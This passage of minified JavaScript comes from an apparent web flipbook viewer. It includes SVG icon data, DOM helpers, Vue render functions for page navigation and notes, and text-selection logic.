1.509v2.918c0 .582.074 1.045.222 1.388V9H14.55c-.063-.125-.114-.348-.153-.668-.504.524-1.105.785-1.805.785-.625 0-1.137-.177-1.538-.53-.4-.354-.6-.802-.6-1.345 0-.66.25-1.173.753-1.538.502-.365 1.208-.548 2.118-.548h1.055v-.498c0-.379-.114-.68-.34-.905-.227-.225-.56-.337-1.002-.337-.387 0-.711.098-.973.293-.262.195-.392.432-.392.709h-1.09c0-.316.112-.622.337-.917a2.3 2.3 0 01.914-.7 3.075 3.075 0 011.268-.258zM22.361 0v9h-.996l-.053-.68c-.433.532-1.037.797-1.81.797-.735 0-1.333-.3-1.796-.902-.463-.602-.695-1.387-.695-2.356v-.082c0-.972.23-1.755.692-2.346.46-.592 1.064-.888 1.81-.888.743 0 1.33.254 1.764.762V0h1.084zm4.29 2.543c.824 0 1.465.271 1.922.814.457.543.685 1.32.685 2.332v.452h-4.294c.015.625.198 1.13.547 1.514.35.385.794.577 1.333.577.383 0 .707-.078.973-.234.266-.156.498-.363.697-.621l.662.516c-.53.816-1.328 1.224-2.39 1.224-.86 0-1.559-.282-2.098-.846-.539-.565-.808-1.32-.808-2.265v-.2c0-.628.12-1.19.36-1.684s.576-.88 1.008-1.16c.431-.28.9-.419 1.403-.419zm20.682-1.418V2.66h1.183v.838h-1.183V7.43c0 .254.052.444.158.571.105.127.285.19.539.19.125 0 .297-.023.516-.07V9a3.143 3.143 0 01-.833.117c-.484 0-.85-.146-1.095-.44-.246-.292-.37-.708-.37-1.247V3.498h-1.154V2.66h1.155V1.125h1.084zM6.768 2.543c1.39 0 2.097.736 2.12 2.209V9H7.806V4.816c0-.453-.104-.792-.31-1.016-.208-.225-.555-.337-1.044-.337-.402 0-.736.12-1.002.36-.265.24-.42.564-.463.97V9h-1.09V4.846c0-.922-.45-1.383-1.353-1.383-.71 0-1.197.303-1.459.908V9H0V2.66h1.026l.029.703c.465-.547 1.092-.82 1.88-.82.887 0 1.49.34 1.811 1.02.211-.305.486-.551.823-.739.338-.187.738-.281 1.199-.281zm27.45.117l1.248 4.746 1.476-4.746h.873l1.506 4.846L40.54 2.66h1.084L39.778 9H38.9l-1.54-4.805L35.858 9h-.88l-1.84-6.34h1.079zm9.797 0V9h-1.084V2.66h1.084zM50.978 0v3.428c.48-.59 1.106-.885 1.875-.885 1.34 0 2.016.756 2.027 2.268V9h-1.084V4.805c-.004-.457-.108-.795-.313-1.014-.205-.219-.525-.328-.958-.328-.352 0-.66.094-.926.281a1.91 1.91 0 00-.621.738V9h-1.084V0h1.084zM19.783 3.463c-.531 0-.945.205-1.242.615-.297.41-.445 1.018-.445 1.822 0 .72.148 1.282.445 1.688.297.406.707.61 1.23.61.688 0 1.19-.31 1.506-.926V4.359c-.324-.597-.822-.896-1.494-.896zm-5.403 2.46h-.85c-1.328 0-1.992.39-1.992 1.167 0 .34.113.605.34.797.226.191.517.287.873.287.34 0 .662-.088.967-.264.304-.176.525-.404.662-.685V5.924zm12.271-2.49c-.437 0-.805.16-1.102.478-.296.319-.48.765-.55 1.34h3.175v-.083c-.03-.55-.18-.978-.445-1.28-.265-.303-.625-.454-1.078-.454zM43.482.353c.211 0 .371.06.48.181a.64.64 0 01.165.446.62.62 0 01-.164.439c-.11.117-.27.176-.48.176-.212 0-.371-.059-.478-.176a.626.626 0 01-.162-.44c0-.175.054-.324.162-.445.107-.12.266-.181.477-.181z"/>'}})},1619:(t,e,i)=>{i(4147).register({"page-wide":{width:500,height:370,viewBox:"0 0 500 370",data:'<g clip-path="url(#clip0_3_2)" _fill="#000"><path pid="0" d="M0 17h230V0H0v17zM0 51h230V34H0v17zM0 85h115V68H0v17zM270 302h230v-17H270v17zM270 336h230v-17H270v17zM270 370h115v-17H270v17zM270 187h230v-17H270v17zM270 221h230v-17H270v17zM270 255h115v-17H270v17zM0 136h230v-17H0v17zM0 170h230v-17H0v17zM0 204h115v-17H0v17zM270 140h230V0H270v140zM0 370h230V230H0v140z"/></g><defs><clipPath id="clip0_3_2"><path pid="1" _fill="#fff" d="M0 0h500v370H0z"/></clipPath></defs>'}})},9719:(t,e,i)=>{i(4147).register({page:{width:250,height:370,viewBox:"0 0 250 370",data:'<path pid="0" d="M0 17h250V0H0v17zM0 51h250V34H0v17zM0 85h125V68H0v17zM0 302h250v-17H0v17zM0 336h250v-17H0v17zM0 370h125v-17H0v17zM0 255h250V115H0v140z" _fill="#000"/>'}})},148:(t,e,i)=>{i(4147).register({replay:{width:16,height:16,viewBox:"0 0 70 70",data:'<use xlink:href="#a" transform="rotate(60 21.655 37.507)"/><defs><path pid="0" id="a" d="M5.885 12.428L1.49 9.97c-.777-.435-1.693.287-1.45 1.144L4.006 25.15a1 1 0 001.235.69l14.036-3.966c.857-.242.993-1.4.216-1.835l-4.878-2.729c4.194-7.024 13.267-9.4 20.377-5.296 7.174 4.142 9.632 13.316 5.49 20.49-4.142 7.175-13.316 9.633-20.49 5.49l-5 8.66c11.957 6.904 27.247 2.807 34.15-9.15 6.904-11.957 2.807-27.247-9.15-34.15C28.06-3.536 12.81.529 5.885 12.428z"/></defs>'}})},2358:(t,e,i)=>{"use strict";function s(t){let{filenameOrUrl:e,relativePath:i="assets/pages/content/",encode:s=!1}=t;return/^(?:https?|medialib):\/\//.test(e)?e:i+(s?encodeURIComponent(e):e)}i.d(e,{n:()=>s})},2567:(t,e,i)=>{"use strict";i.d(e,{Z:()=>r});var s=i(320);const o={cTest:!1,id:function(t){return document.getElementById(t)},tag:function(t){return document.getElementsByTagName(t)[0]},tags:function(t){return document.getElementsByTagName(t)},byClass:function(t){return document.getElementsByClassName(t)},add:function(t){return document.createElement(t)},round:function(t,e){e=e||0;let i=1;for(let s=0;s<e;s++)i*=10;return Math.round(t*i)/i},css:function(t,e){for(const i in e)if(e.hasOwnProperty(i)){let s=i.replace(/-(.)/g,(function(t,e){return e.toUpperCase()}));s="float"===s?"cssFloat":s,t.style[s]=e[i]}},del:function(t){return(0,s.HD)(t)?o.id(t)&&o.id(t).parentNode.removeChild(o.id(t)):t.parentNode.removeChild(t),!0},addClass:function(t,e){t.classList.add(e)},removeClass:function(t,e){t.classList.remove(e)},createElement:function(t,e,i,o,r){i=i||-1;const a=document.createElement(t);for(const s in e)e.hasOwnProperty(s)&&("styles"!==s?a.setAttribute(s,e[s]):this.css(a,e.styles));if("top"===o)-1!==i&&((0,s.HD)(i)?document.getElementById(i).insertBefore(a,document.getElementById(i).firstChild):i.insertBefore(a,i.firstChild));else if("after"===o){const t=r.nextSibling,e=r.parentNode;t?e.insertBefore(a,t):e.appendChild(a)}else if("before"===o){const t=r.previousSibling,e=r.parentNode;t?e.insertBefore(a,r):e.appendChild(a)}else-1!==i&&((0,s.HD)(i)?document.getElementById(i).appendChild(a):i.appendChild(a));return a},clear:function(t){(0,s.HD)(t)&&(t=t.id(t)),t.innerHTML=""}},r=o},1909:(t,e,i)=>{"use strict";function s(t){const e=/(?:(?:https?:)?\/\/)?(?:[^.]+\.)?(\w+)(\.|\-)/.exec(t);return e?e[1]:null}function o(t){const e=t.split("/");return e[e.length-1]}i.d(e,{V:()=>s,c:()=>o})},5657:(t,e,i)=>{"use strict";i.d(e,{F:()=>o,q:()=>s});const s=function(t){const e=t.format?"."+t.format:"";return t.name+e},o=function(t){let{data:e,maxSize:i}=t;window.devicePixelRatio>=1.5&&(i*=1.5);const s=e.sizes.reduce(((t,e)=>t<i?e>t?e:t:e>=i&&e<t?e:t));let o=e.name.split("{size}");o=o.map((t=>encodeURIComponent(t)));return{name:o.join("{size}"),size:s,format:e.format}}},1443:(t,e,i)=>{"use strict";function s(t,e){let{target:i}=e;const s=t.state.book.rightToLeft;t.dispatch(s?"pager/goForward":"pager/goBackward",{target:i})}function o(t,e){let{target:i}=e;const s=t.state.book.rightToLeft;t.dispatch(s?"pager/goBackward":"pager/goForward",{target:i})}function r(t,e){let{target:i=null,navTarget:s=!1}=e;const o=t.state.book.rightToLeft,r=s?o?"nav-last":"nav-first":i;t.dispatch(o?"pager/goToLast":"pager/goToFirst",{target:r})}function a(t,e){let{target:i=null,navTarget:s=!1}=e;const o=t.state.book.rightToLeft,r=s?o?"nav-first":"nav-last":i;t.dispatch(o?"pager/goToFirst":"pager/goToLast",{target:r})}i.d(e,{X0:()=>o,oJ:()=>s,tc:()=>r,w9:()=>a})},8384:(t,e,i)=>{"use strict";i.d(e,{Z:()=>ro});var s=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"book-container",class:t.containerClass},[t.hasPages?i(t.bookComponent,{ref:"bookComponent",tag:"component",attrs:{"container-size":t.containerSize,"page-size":t.bookSize,dir:"ltr"}}):t._e(),t._v(" "),!t.isMobile&&t.showPrevSubstrate?i("div",{staticClass:"book-substrate-prev",style:t.substrateStyle,attrs:{"aria-hidden":"true"},on:{click:t.goToLeftPage,mouseover:function(e){return t.arrowHover("prev",!0)},mouseout:function(e){return t.arrowHover("prev",!1)}}}):t._e(),t._v(" "),!t.isMobile&&t.showNextSubstrate?i("div",{staticClass:"book-substrate-next",style:t.substrateStyle,attrs:{"aria-hidden":"true"},on:{click:t.goToRightPage,mouseover:function(e){return t.arrowHover("next",!0)},mouseout:function(e){return t.arrowHover("next",!1)}}}):t._e(),t._v(" "),i("transition",{attrs:{name:"bars-fade"}},[t.showSimpleArrows?i("nav-buttons",{attrs:{show:!0}}):t._e(),t._v(" "),t.showSmartArrows?i("slide-nav-buttons",{attrs:{show:!0}}):t._e()],1),t._v(" "),i("note-editor"),t._v(" "),"html"===t.version?i("logo",{key:t.logoKey,ref:"logoComponent"}):t._e(),t._v(" "),i("transition",{attrs:{name:"slide-fade"}},["html"===t.version?i("zoom-panel"):t._e()],1),t._v(" "),i("transition",{attrs:{name:t.ctrFade},on:{"after-enter":t.afterFade}},[t.miniState&&!t.miniFullScreen?i("div",{key:"maxi",class:t.clickToReadClass,attrs:{role:"button",tabindex:"0"},on:{click:t.wsToggleFullscreen,keydown:function(e){return!e.type.indexOf("key")&&t._k(e.keyCode,"enter",13,e.key,"Enter")&&t._k(e.keyCode,"space",32,e.key,[" ","Spacebar"])?null:t.wsToggleFullscreen(e)}}},[t._v("\n            "+t._s(t.clickToReadText)+"\n        ")]):t._e(),t._v(" "),t.miniState&&t.miniFullScreen?i("div",{key:"mini",class:t.miniClickToReadClass,attrs:{title:t.$t("BottomMenu.FULLSCREEN_BUTTON_TIP")},on:{click:t.wsToggleFullscreen}},[i("div",{staticClass:"fullscreen-button-mini-holder"},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"fullscreen"}})],1)]):t._e()])],1)},o=[],r=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",t._g({staticClass:"flip-book",class:t.flipBookClass,attrs:{tag:"div"}},t.bookEventHandlers),[i("v-touch",t._g({ref:"bookHolder",staticClass:"book-holder",style:[t.bookHolderStyle],attrs:{tag:"div",id:"book-holder","data-frozen-by":t.frozenBy,"data-zoom-wrapper":""},nativeOn:{transitionend:function(e){return t.transitionEnd(e)}}},t.bookHolderEventHandlers),[t.selectTextEnabled?i("select-text-panel"):t._e(),t._v(" "),i("transition",{attrs:{name:"bars-fade"}},[i("div",{directives:[{name:"show",rawName:"v-show",value:t.showLeftButtons,expression:"showLeftButtons"}],staticClass:"previous-button",on:{mouseover:function(e){return t.arrowHover("prev",!0)},mouseout:function(e){return t.arrowHover("prev",!1)}}},[t.notesEnabled&&!t.showRightAddNote?i("button",{staticClass:"icon-add-note left-add-note stripe-btn",attrs:{tabindex:"0","aria-label":t.addNoteTitleText,title:t.addNoteTitleText,"data-nav-name":"notes-left"},on:{click:function(e){return e.stopPropagation(),t.btnAddNote("left")},mousedown:function(t){t.preventDefault()},mouseover:function(e){return e.stopPropagation(),t.arrowHover("prev",!1)}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"add-note"}})],1):t._e(),t._v(" "),i("button",{staticClass:"icon-book-prev stripe-btn",attrs:{tabindex:"0","aria-label":t.leftArrowTitle,title:t.leftArrowTitle,"data-nav-name":"go-left"},on:{click:function(e){return e.stopPropagation(),t.leftPage(e)},mousedown:function(t){t.preventDefault()}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"book-prev"}})],1),t._v(" "),i("button",{staticClass:"icon-book-first stripe-btn",attrs:{tabindex:"0","aria-label":t.leftMostArrowTitle,title:t.leftMostArrowTitle,"data-nav-name":"go-last-left"},on:{click:function(e){return e.stopPropagation(),t.leftmostPage(e)},mouseover:function(e){return e.stopPropagation(),t.arrowHover("prev",!1)},mousedown:function(t){t.preventDefault()}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"book-first"}})],1)])]),t._v(" "),i("transition",{attrs:{name:"bars-fade"}},[i("div",{directives:[{name:"show",rawName:"v-show",value:t.showRightButtons,expression:"showRightButtons"}],staticClass:"next-button",on:{mouseover:function(e){return t.arrowHover("next",!0)},mouseout:function(e){return t.arrowHover("next",!1)}}},[t.notesEnabled&&t.showRightAddNote?i("button",{staticClass:"icon-add-note right-add-note stripe-btn",attrs:{tabindex:"0","aria-label":t.addNoteTitleText,title:t.addNoteTitleText,"data-nav-name":"notes-right"},on:{click:function(e){return e.stopPropagation(),t.btnAddNote("right")},mouseover:function(e){return e.stopPropagation(),t.arrowHover("next",!1)},mousedown:function(t){t.preventDefault()}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"add-note"}})],1):t._e(),t._v(" "),i("button",{staticClass:"icon-book-next stripe-btn",attrs:{tabindex:"0","aria-label":t.rightArrowTitle,title:t.rightArrowTitle,"data-nav-name":"go-right"},on:{click:function(e){return e.stopPropagation(),t.rightPage(e)},mousedown:function(t){t.preventDefault()}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"book-next"}})],1),t._v(" "),i("button",{staticClass:"icon-book-last stripe-btn",attrs:{tabindex:"0","aria-label":t.rightMostArrowTitle,title:t.rightMostArrowTitle,"data-nav-name":"go-last-right"},on:{click:function(e){return e.stopPropagation(),t.rightmostPage(e)},mouseover:function(e){return e.stopPropagation(),t.arrowHover("next",!1)},mousedown:function(t){t.preventDefault()}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"book-last"}})],1)])]),t._v(" "),i("transition",{attrs:{name:"bars-fade"}},[i("div",{directives:[{name:"show",rawName:"v-show",value:t.showOnlyAddNote,expression:"showOnlyAddNote"}],staticClass:"next-button only-note"},[i("button",{staticClass:"icon-add-note right-add-note stripe-btn",attrs:{tabindex:"0","aria-label":t.addNoteTitleText,title:t.addNoteTitleText,"data-nav-name":"notes-right"},on:{click:function(e){return e.stopPropagation(),t.btnAddNote("right")},mousedown:function(t){t.preventDefault()}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"add-note"}})],1)])])],1)],1)},a=[],n=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:t.className,style:t.pageStyle,attrs:{"data-page-id":t.pageId,"aria-hidden":!t.isCurrent},on:{mousedown:[function(e){return e.preventDefault(),t.onMouseDown(e)},function(e){return!e.type.indexOf("key")&&t._k(e.keyCode,"right",39,e.key,["Right","ArrowRight"])||"button"in e&&2!==e.button?null:void e.stopPropagation()}]}},[i("transition",{attrs:{name:"page-fade"}},[t.showPreloaderContainer?i("div",{staticClass:"page-preloader",style:{backgroundColor:t.backgroundColor}},[t.isCurrent||t.isMobileApp?i("div",{staticClass:"preloader-container"},[t.showSpinner?i("spinner",{staticClass:"preloader-spinner",attrs:{size:36,"line-size":3,"line-fg-color":"#5692AE","line-bg-color":"#ffffff"}}):t._e(),t._v(" "),i("div",{staticClass:"preloader-bg"}),t._v(" "),i("div",{staticClass:"preloader-header",attrs:{dir:t.dir}},[t._v(t._s(t.preloaderHeader))]),t._v(" "),i("div",{staticClass:"preloader-text",attrs:{dir:t.dir}},[t._v(t._s(t.preloaderText))])],1):t._e(),t._v(" "),t.showThumbnail?i("div",{staticClass:"preloader-th",style:t.thumbnailStyle},[i("img",{attrs:{crossOrigin:t.crossOrigin,src:t.thumbnailUrl}})]):t._e()]):t._e()]),t._v(" "),i("div",{staticClass:"background",style:t.contentStyle,attrs:{"data-id":t.pageId}},[i("img",{ref:"bgImage",staticClass:"bg-layer",attrs:{crossOrigin:t.crossOrigin,src:"","aria-hidden":"true"}}),t._v(" "),t._l(t.backgroundsCache,(function(e,s){return t.canvasUpdated?t._e():i("img",{key:s,attrs:{"data-img":"backgroundsCache",crossOrigin:t.crossOrigin,src:e,"aria-hidden":"true"},on:{load:function(i){return t.bgCacheImageLoaded(e)}}})})),t._v(" "),t.vectorLayerCache?i("img",{ref:"bgSVG",class:"svg-layer"+(t.isCurrent?"":" svg-layer-not-current"),attrs:{crossOrigin:t.crossOrigin,src:t.vectorLayerCache}}):t._e()],2),t._v(" "),t.showHighlights?i("div",{staticClass:"highlights",style:t.contentStyle},[t._l(t.highlights,(function(t){return[i("div",{style:t.style})]}))],2):t._e(),t._v(" "),i("v-touch",{staticClass:"touch-layer",style:t.contentTouchLayerStyle,attrs:{options:{domEvents:!0}},on:{tap:t.onContentTap}},["flip-book"===t.bookComponent?i("div",{staticClass:"flip-area"}):t._e(),t._v(" "),!t.isMobile&&t.selectTextEnabled?i("select-text",{directives:[{name:"show",rawName:"v-show",value:t.isCurrent&&!t.contentFreezed&&"animating"!==t.bookStatus&&"calculating"!==t.bookStatus,expression:"isCurrent && !contentFreezed &&\n                    bookStatus !== 'animating' && bookStatus !== 'calculating'"}],attrs:{contStyle:t.contentStyle,"page-side":t.pageSide,"is-wide":t.isWide,"page-id":t.pageId,containerSize:t.contentSize,isCurrent:t.isCurrent,isLoaded:!t.isLoadingCache}}):t._e(),t._v(" "),!t.isLoadingCache&&t.isCurrent&&t.selectTextEnabled&&t.mobileShowEffectPass?i("select-text-mobile",{attrs:{contStyle:t.contentStyle,"page-side":t.pageSide,"is-wide":t.isWide,"page-id":t.pageId,containerSize:t.contentSize,isCurrent:t.isCurrent}}):t._e(),t._v(" "),t.renderInvisibleContent?i("div",{directives:[{name:"show",rawName:"v-show",value:t.showInvisibleContent,expression:"showInvisibleContent"}],staticClass:"content inv",style:t.contentStyle},[t._l(t.sortedContent.inv,(function(e){return[i(e.component,{directives:[{name:"show",rawName:"v-show",value:!t.isLoadingCache,expression:"!isLoadingCache"}],key:e.itemId,tag:"component",attrs:{contentMargin:t.marginSide,data:e,isCurrent:t.isCurrent},on:{ready:t.contentItemReady,error:t.contentError}})]}))],2):t._e(),t._v(" "),i("div",{staticClass:"content vis",style:t.contentStyle},[t._l(t.sortedContent.visible,(function(e){return[i(e.component,{directives:[{name:"show",rawName:"v-show",value:!t.isLoadingCache,expression:"!isLoadingCache"}],key:e.itemId,tag:"component",attrs:{data:e,contentMargin:t.marginSide,isCurrent:t.isCurrent,iconInitialAnimationDelay:t.initialPopupIconHighlight},on:{ready:t.contentItemReady,error:t.contentError}})]}))],2)],1),t._v(" "),t._l(t.notesArray,(function(e,s){return i("note",{key:s,attrs:{data:e,pageSize:t.pageSize,pageSide:t.pageSide,isWide:t.isWide,isOutsideHardcover:t.isOutsideHardcover}})})),t._v(" "),t.flipCornerEnabled?i("flip-me",{attrs:{pageId:t.pageId,isLeft:t.isLeftFlipCorner}}):t._e()],2)},h=[],l=i(5622),c=i(90),d=i(776);const p={props:{id:{type:[String,Number],required:!0},side:{type:String,required:!1,default:"both",validator:function(t){return-1!==["left","right","both"].indexOf(t)}},bordered:{type:Boolean,default:!1},size:{type:Object,required:!1,default:null},renderContent:{type:Boolean,default:!0},contentCrop:{type:Boolean,default:!1}},data:function(){return{alreadyLoaded:!1,thDebounced:!0,isCurrent:!1,pageId:this.id,pageSide:this.side,crossOrigin:(0,d.Z)().getCrossOrigin(),lastIsCurrent:!1,thumbnailUrl:null,backgroundColor:"#ffffff",isWide:!1,isWideLeft:!1,isStub:!1,isReady:!1,isDownloaded:!1,hasError:!1,isOutsideHardcover:!1,propWidth:null,propHeight:null,loadPending:!1,whitePixelUrl:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+ip1sAAAAASUVORK5CYII="}},watch:{id:function(t){this.pageId=t},pageId:function(t,e){t&&(this.getOnceProperties(),this.getAPIProperties(),this.getProperties()),this.deregisterPage(e),this.registerPage(t)},side:function(t){this.pageSide=t},hasError:function(t){t&&this.isCurrent&&this.$root.$emit("pageLoaded"),t&&this.isZoomed&&this.setCursor("inherit")},isPreloaderShown:function(t){t||this.$emit("preloader:off",this)},changeProperty:function(t){t?.pageID===this.pageId&&this.getPropertiesDebounced()},apiChange:function(){this.getAPIProperties()},downloadProgressUpdated:"getDownloadProgress"},created:function(){this.getPropertiesDebounced=(0,l.Ds)((()=>{this.getProperties()}),100),this.getOnceProperties(),this.getAPIProperties(),this.getProperties(),this.getDownloadProgress(),this.registerPage(),this.loadPending||(this.loadPending=!0,this.alreadyLoaded=!0,this.getPropertiesTimeout=setTimeout((()=>{this.getProperties()}),500)),this.$root.$on("render:finish",this.getIsCurrent),this.getIsCurrent();const t=this.$store.getters["pages/isFirstPage"](this.pageId),e=this.$store.getters["pages/isLastPage"](this.pageId);this.hideLeftStripe=this.isRTLBook?e:t,this.hideRightStripe=this.isRTLBook?t:e;const i=this.$store.state.workspace.userAgentInfo;i.browser.facebook&&i.os.android&&(this.noImageCache=!0)},mounted:function(){setTimeout((()=>{!this.isCurrent||this.isReady&&this.isDownloaded||this.$root.$emit("pageLoaded")}),1e3)},beforeDestroy:function(){this.getPropertiesDebounced.destroy(),clearTimeout(this.getPropertiesTimeout),this.$root.$off("render:finish",this.getIsCurrent),this.deregisterPage(),this.noImageCache&&this.$store.dispatch("pages/resetPageResources",{pageID:this.pageId})},methods:{setCursor:function(t){this.isMobile||(this.$el.style.cursor=t)},getIsCurrent:function(){this.isCurrent=this.$store.getters["pager/isCurrentPage"]({pageId:this.pageId,pageSide:this.pageSide})},getOnceProperties:function(){this.propWidth=this.$store.getters["pages/pageProp"](this.pageId,"width"),this.propHeight=this.$store.getters["pages/pageProp"](this.pageId,"height")},registerPage:function(){let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.pageId;this.renderContent&&this.$pageRegistry.registerPage(t,this.pageSide,this)},deregisterPage:function(){let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.pageId;this.renderContent&&this.$pageRegistry.deregisterPage(t,this.pageSide)},getSpreadTwin:function(){const t=this.$store.getters["pager/state"];return this.isCurrent&&t.spreadMode?this.pageId!==t.leftPage||this.isWide&&"right"===this.pageSide?this.pageId===t.rightPage?this.$pageRegistry.getPageComponent(t.leftPage,"left"):null:this.$pageRegistry.getPageComponent(t.rightPage,"right"):null},getDownloadProgress:function(){this.isDownloaded=this.$store.getters["pages/isDownloaded"](this.pageId)}},computed:{showThumbnail:function(){return this.isReady&&this.isDownloaded&&!this.hasError},isMobile:function(){return this.$store.getters["workspace/isMobile"]},isRTLBook:function(){return this.$store.state.book.rightToLeft},apiChange(){return this.$store.state.pages.apiChange},changeProperty(){return this.$store.state.pages.changeInPage},downloadProgressUpdated(){return this.$store.state.pages.downloadProgressUpdated},contentFreezed(){return"pending"!==this.$store.state.pager.flipState},updatePending(){return!this.isMobile&&this.isZoomed&&this.$store.getters["pages/pageProp"](this.pageId,"updatePending")},preloaderHeader(){return this.hasError?this.$t("Other.PAGE_ERROR_TITLE"):null},preloaderText(){return this.hasError?this.$t("Other.PAGE_ERROR_MESSAGE"):this.isReady?this.isDownloaded?null:this.$t("Other.DOWNLOADING_PAGE"):this.$t("Other.CONVERTING_PAGE")},backgroundLuma(){return this.backgroundColor?(0,c.R)((0,c.l)(this.backgroundColor)):1},enforceTransparentBg(){return this.$store.state.workspace.alteredSVGColors&&this.$store.state.workspace.userAgentInfo.browser.samsung},isZoomed:function(){return this.$store.state.pages.size.zoomFactor>1},dir(){return this.$store.getters["i18n/isLocaleRtl"]?"rtl":"ltr"},isResizing:function(){return this.$store.state.workspace.isResizing},isPreloaderShown:function(){return this.$store.state.workspace.preloader},pageWidthMultiplier:function(){return this.isWide&&"both"===this.pageSide?2:1},pagesSize(){return this.$store.getters["pages/size"]},contentSize(){if(this.pageId){const t=this.isOutsideHardcover&&parseInt(this.propWidth,10)===parseInt(this.$store.state.book.bookSize.width,10)&&parseInt(this.propHeight,10)===parseInt(this.$store.state.book.bookSize.height,10)?"FILL":null;return this.$store.getters["pages/contentSize"]({pageID:this.pageId,pageSide:this.pageSide,pageSize:this.pageSize,resizeOverride:t})}return{width:0,height:0,offsetX:0,offsetY:0,scaleRatio:{w:0,h:0}}}}};var g=i(6411),u=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",{class:"selecttext"+(t.showCanvas?" active":""),style:t.contStyle,on:{pan:t.pan,panstart:t.reset,panend:t.panEnd,pancancel:t.panEnd}},[t.showCanvas?i("canvas",{class:t.canvasClass,style:{position:"absolute",right:t.isWide&&"right"===t.pageSide?0:"none"},attrs:{width:t.containerSize.width,height:t.containerSize.height}}):t._e(),t._v(" "),t._l(t.textBlockSizes,(function(e,s){return i("div",{staticClass:"text-block",style:{width:e.width+"px",top:e.top+"px",left:e.left+"px",height:e.height+"px"},attrs:{"data-set":"select-text-block"}},[t.inspectorMode?i("span",{staticClass:"block-inspector-mode"},[t._v(t._s(s))]):t._e(),t._v(" "),t._l(t.finalTree[s].lines,(function(s,o){return t.inspectorMode?i("span",{staticClass:"line-inspector-mode",style:{top:s.top*t.containerSize.scaleRatio.h-e.top+"px",left:s.left*t.containerSize.scaleRatio.w-e.left+"px",width:s.width*t.containerSize.scaleRatio.w+"px",height:s.height*t.containerSize.scaleRatio.h+"px"}},[t._v(t._s(o))]):t._e()}))],2)}))],2)},f=[];function m(t,e){this.finalTree=t,this.isRTL=e,this.fullSelectedBlocks=[],this.partSelectedBlocks=[],this.fullSelectedLines=[],this.partSelectedLines=[],this.leftSelectedLines=[],this.rightSelectedLines=[],this.fullSelectedSymbols=[]}function b(t,e,i){if(t.bottom=t.top+t.height,t.right=t.left+t.width,0===t.width||0===t.height)return{rectCrossed:!1,fullSelected:!1};if(t.top<=e.top&&t.bottom>=e.bottom&&t.left<=e.left&&t.right>=e.right)return{rectCrossed:!1,fullSelected:!0};if(t.top<=e.top&&t.bottom>=e.bottom&&(t.left>=e.left&&t.left<=e.right||t.right<=e.right&&t.right>=e.left))return{rectCrossed:!0,fullSelected:!0};if(t.bottom<e.top||t.top>e.bottom||t.left>e.right||t.right<e.left)return{rectCrossed:!1,fullSelected:!1};let s,o,r,a,n,h;return i?(s=t.top>e.top&&t.bottom>e.bottom,o=t.top<e.top&&t.bottom<e.bottom):(s=t.top<e.top&&t.bottom<e.bottom,o=t.top>e.top&&t.bottom>e.bottom),"right"===t.cursorHSide?(r=e.right>t.right&&e.left<t.right,n=e.right>t.left&&e.left<t.left):(r=e.right>t.left&&e.left<t.left,n=e.right>t.right&&e.left<t.right),"top"===t.cursorVSide?(a=e.top<t.top&&e.bottom>t.top,h=e.top<t.bottom&&e.bottom>t.bottom):(a=e.top<t.bottom&&e.bottom>t.bottom,h=e.top<t.top&&e.bottom>t.top),{activePoint:r&&a,startPoint:n&&h,leftSelected:s,rightSelected:o,rectCrossed:!0,fullSelected:!1}}m.prototype.selectSymbols=function(t,e){const i=this._intersectRects(t,e);this._collectSelectedBlocks(i),this._collectSelectedLines(i),this._collectSelectedSymbols(i);return this._getSelectedSymbols(e)},m.prototype._collectSelectedBlocks=function(t){this.crossInfos=this._getCrossInfos(t);const e=this.crossInfos.filter((t=>t.startPoint||t.activePoint)).length<2;for(let i=0,s=this.finalTree.length;i<s;i++){const t=this.crossInfos[i];null!==t&&(t.fullSelected?this.fullSelectedBlocks.push(i):t.rectCrossed&&(e||t.startPoint||t.activePoint)&&this.partSelectedBlocks.push(i))}this._simplifySelectedBlocks()},m.prototype._collectSelectedLines=function(t){this.inverseLineSelection=!1;const e=2===this.partSelectedBlocks.map((t=>this.crossInfos[t])).filter((t=>t.startPoint||t.activePoint)).length;for(let i=0,s=this.partSelectedBlocks.length;i<s;i++){const s=this.partSelectedBlocks[i],o=e?this._modifyCurrentSelectRect(i,t):t;for(let t=0,e=this.finalTree[s].lines.length;t<e;t++){const e=b(o,this.finalTree[s].lines[t],this.isRTL),i=s+"-"+t;e.fullSelected?this.fullSelectedLines.push(i):e.rectCrossed&&(this.partSelectedLines.push(i),w(e.leftSelected,this.leftSelectedLines,i),w(e.rightSelected,this.rightSelectedLines,i))}}this._simplifySelectedLines(),2===this.partSelectedLines.length&&(1===this.rightSelectedLines.length&&0===this.leftSelectedLines.length?this.leftSelectedLines=this.partSelectedLines.filter((t=>t!==this.rightSelectedLines[0])):1===this.leftSelectedLines.length&&0===this.rightSelectedLines.length&&(this.rightSelectedLines=this.partSelectedLines.filter((t=>t!==this.leftSelectedLines[0]))))},m.prototype._collectSelectedSymbols=function(t){for(let e=0,i=this.partSelectedLines.length;e<i;e++){const i=this.partSelectedLines[e].split("-"),s=i[0],o=i[1],r=this.isRTL?this._processLineRtl(t,e):this._processLineLtr(t,e);for(let t=0,e=this.finalTree[s].lines[o].symbols.length;t<e;t++){const e=s+"-"+o+"-"+t;w(v(r,this.finalTree[s].lines[o].symbols[t]),this.fullSelectedSymbols,e)}}},m.prototype._processLineLtr=function(t,e){const 